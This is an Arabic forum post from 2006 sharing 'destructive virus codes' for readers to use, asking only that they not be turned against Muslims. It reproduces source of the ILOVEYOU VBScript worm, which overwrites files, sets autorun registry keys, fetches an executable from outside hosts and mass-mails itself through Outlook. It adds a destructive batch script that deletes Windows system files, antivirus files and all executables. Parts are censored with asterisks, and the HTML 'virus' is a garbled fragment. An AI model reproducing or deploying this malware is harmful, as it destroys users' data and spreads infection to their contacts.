أقواء أكواد الفيروسات "المدمرة"

**mario** · 12-25-2006, 03:05 AM

السلام عليكم

هذه مجموعة من أكواد الفيروسات المدمرة وأرجو عدم أستخدامها ضد المسلمين

ونبدا على بركت الله:

rem barok -loveletter(vbe) <i hate go to school>

rem by: EVIL-MASTER / evil5000x@- تم حذف البريد -/ Group /EVIL-ATTACK Manila,Philippines

On Error Resume Next

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d

ow

eq=""

ctr=0

Set fso = CreateObject("******ing.FileSystemObject")

set file = fso.Open****File(W******.******Fullname,1)

vbscopy=file.ReadAll

REM main() ' CSS: Main has been REMed out to provide more innoculation. unREM to run.

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject("W******.****l")

rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Windows ******ing Host\Settings\Timeout")

if (rr>=1) then

wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows ******ing Host\Settings\Timeout",0,"REG_DWORD"

end if

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set c = fso.GetFile(W******.******FullName)

c.Copy(dirsystem&"\MSKernel32.vbs")

c.Copy(dirwin&"\Win32DLL.vbs")

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

regruns()

html()

REM spreadtoemail() ' CSS: Causes the worm to propogate itself. REMed for even more innoculation.

listadriv()

end sub

sub regruns()

On Error Resume Next

Dim num,downread

regcreate " HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr

entVersion\Run\MSKernel32",dirsystem&"\MSKernel32. vbs"

regcreate " HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr

entVersion\RunServices\Win32DLL",dirwin&"\Win32DLL .vbs"

downread=""

downread=regget("HKEY_CURRENT_USER\Software\Micros oft\Internet Explorer\Download Directory")

if (downread="") then

downread="c:\"

end if

if (fileexist(dirsystem&"\WinFAT32.exe")=1) then

Randomize

num = Int((4 * Rnd) + 1)

if num = 1 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/ HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf

7679njbvYT/WIN-BUGSFIX.exe"

elseif num = 2 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/ skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4j

nHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"

elseif num = 3 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/ jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3V

bvg/WIN-BUGSFIX.exe"

elseif num = 4 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/ sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqweras

djhPhjasfdglkNBhbq***mznxcbvnmadshfgqw237461234iuy

7thjg/WIN-BUGSFIX.exeend if

end if

if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then

regcreate " HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr

entVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"

regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about :blank"

end if

end sub

sub listadriv

On Error Resume Next

Dim d,dc,s

Set dc = fso.Drives

For Each d in dc

If d.DriveType = 2 or d.DriveType=3 Then

folderlist(d.path&"\")

end if

Next

listadriv = s

end sub

Sub infectfiles(folderspec)

On Error Resume Next

dim f,f1,fc,ext,ap,mircfname,s,bname,mp3

set f = fso.GetFolder(folderspec)

set fc = f.Files

for each f1 in fc

ext=fso.Ge****ensionName(f1.pathext=lcase(ext)

s=lcase(f1.name)

if (ext="vbs") or (ext="vbe") then

set ap=fso.Open****File(f1.path,2,true)

ap.write vbscopy

ap.close

elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then

set ap=fso.Open****File(f1.path,2,true)

ap.write vbscopy

ap.close

bname=fso.GetBaseName(f1.path)

set cop=fso.GetFile(f1.path)

cop.copy(folderspec&"\"&bname&".vbs")

fso.DeleteFile(f1.path)

elseif(ext="jpg") or (ext="jpeg") then

set ap=fso.Open****File(f1.path,2,true)

ap.write vbscopy

ap.close

set cop=fso.GetFile(f1.path)

cop.copy(f1.path&".vbs")

fso.DeleteFile(f1.path)

elseif(ext="mp3") or (ext="mp2") then

set mp3=fso.Create****File(f1.path&".vbs")

mp3.write vbscopy

mp3.close

set att=fso.GetFile(f1.path)

att.attributes=att.attributes+2

end if

if (eq<>folderspec) then

if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="******.ini") or (s="mirc.hlp") then

set ******ini=fso.Create****File(folderspec&"\******.i ni")

******ini.WriteLine "[******]"

******ini.WriteLine ";mIRC ******"

******ini.WriteLine "; Please dont edit this ******... mIRC will corrupt, if mIRC will"

******ini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"

******ini.WriteLine ";"

******ini.WriteLine ";Khaled Mardam-Bey"

******ini.WriteLine ";http://www.mirc.com/"

******ini.WriteLine ";"

******ini.WriteLine "n0=on 1:JOIN:#:{"

******ini.WriteLine "n1= /if ( $nick == $me ) { halt }"

******ini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"

******ini.WriteLine "n3=}"

******ini.close

eq=folderspec

end if

end if

next

end sub

sub folderlist(folderspec)

On Error Resume Next

dim f,f1,sf

set f = fso.GetFolder(folderspec)

set sf = f.SubFolders

for each f1 in sf

infectfiles(f1.path)

folderlist(f1.path)

next

end sub

sub regcreate(regkey,regvalue)

Set regedit = CreateObject("W******.****l")

regedit.RegWrite regkey,regvalue

end sub

function regget(value)

Set regedit = CreateObject("W******.****l")

regget=regedit.RegRead(value)

end function

function fileexist(filespec)

On Error Resume Next

dim msg

if (fso.FileExists(filespec)) Then

msg = 0

else

msg = 1

end if

fileexist = msg

end function

function folderexist(folderspec)

On Error Resume Next

dim msg

if (fso.GetFolderExists(folderspec)) then

msg = 0

else

msg = 1

end if

fileexist = msg

end function

sub spreadtoemail()

On Error Resume Next

dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega

d

set regedit=CreateObject("W******.****l")

set out=W******.CreateObject("Outlook.Application")

set mapi=out.GetNameSpace("MAPI")

for ctrlists=1 to mapi.AddressLists.Count

set a=mapi.AddressLists(ctrlists)

x=1

regv=regedit.RegRead("HKEY_CURRENT_USER\Software\M icrosoft\WAB\"&a)

if (regv="") then

regv=1

end if

if (int(a.AddressEntries.Count)>int(regv)) then

for ctrentries=1 to a.AddressEntries.Count

malead=a.AddressEntries(x)

regad=""

regad=regedit.RegRead("HKEY_CURRENT_USER\Software\ Microsoft\WAB\"&malead)

if (regad="") then

set male=out.CreateItem(0)

male.Recipients.Add(malead)

male.Subject = "ILOVEYOU"

male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."

male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

male.Send

regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&ma lead ,1,"REG_DWORD"

end if

x=x+1

next

regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a, a.Ad dressEntries.Count

else

regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a, a.Ad dressEntries.Count

end if

next

Set out=Nothing

Set mapi=Nothing

end sub

------------------------------------------------------------------------------------

كود فيروس Html

<html>

<head>

<**** **********="*******-Type"

*******="****/html; charset=iso-8859-1">

<title>Active-X HTML</title>

</head>

THIS HTML USING ACTIVE-X PLEASE CLICK #YES#

<body bgcolor="#000000" ****="#C0C0C0">

<****** language="VB******">

 Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.Type**** "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."

End Sub

--------------------------------------------------------------------------------------------------

كود لفيروس ينئ ملاين من المجلدات على الهارد بجانب انه يدمر الويندوز

@echo off

CLS

@del c:\Windows\win.ini

CLS

@del c:\windows\system.dat

CLS

@del c:\windows\system.ini

CLS

@REN c:\Windows te3eeshWeeElwendosYa7'od3'er7a

CLS

@del c:\progra~1\netscape\commun~1\program\netscape.exe

CLS

@del c:\progra~1\netscape\commun~1\program\wgbview.dbm

CLS

@del c:\progra~1\norton~1\dec2.dll

@del c:\progra~1\norton~1\navstart.dat

@del c:\progra~1\norton~1\navw32.exe

@del c:\progra~1\norton~1\sfstr32i.dll

CLS

@del c:\progra~1\icq\icqcntct.dll

CLS

@del c:\progra~1\icq\dll\icqwso~1.dll

CLS

@REN c:\progra~1 ****

CLS

@md c:\fff

@md c:\545

@md c:\jsior

@md c:\ierjq

@md c:\nmao

@md c:\ian

@md c:\asdja

@md c:\duiae

@md c:\dsuiuie

@md c:\ianer

@md c:\aie

@md c:\aiaer

@md c:\aiher

@md c:\kaie

@md c:\system

@md c:\uauau

@md c:\opoe

@md c:\pogrw

@md c:\uauer

@md c:\vnvnv

@md c:\imcvns

@md c:\mnbf

@md c:\ingo

@md c:\iajf

@md c:\sexe

@md c:\fffs

@md c:\54s5

@md c:\jsioer

@md c:\ierjeq

@md c:\nmato

@md c:\iany

@md c:\asbja

@md c:\duaae

@md c:\dsujiuie

@md c:\ianer

@md c:\aae

@md c:\aider

@md c:\ai3er

@md c:\kafe

@md c:\systam

@md c:\uauaau

@md c:\ofoe

@md c:\togrw

@md c:\uader

@md c:\vnvdsv

@md c:\i43cvns

@md c:\mdbf

@md c:\ind43

@md c:\iajf

@cd\

CLS

@del *.sys

CLS

@del *.exe

CLS

@del *.txt

CLS

@del *.dll

CLS

@del *.com

CLS

أرجو ان ينال رضاكم

وأرجو عدم أستخدامهم ضد المسلمين

لا تحرمونا من ردردكم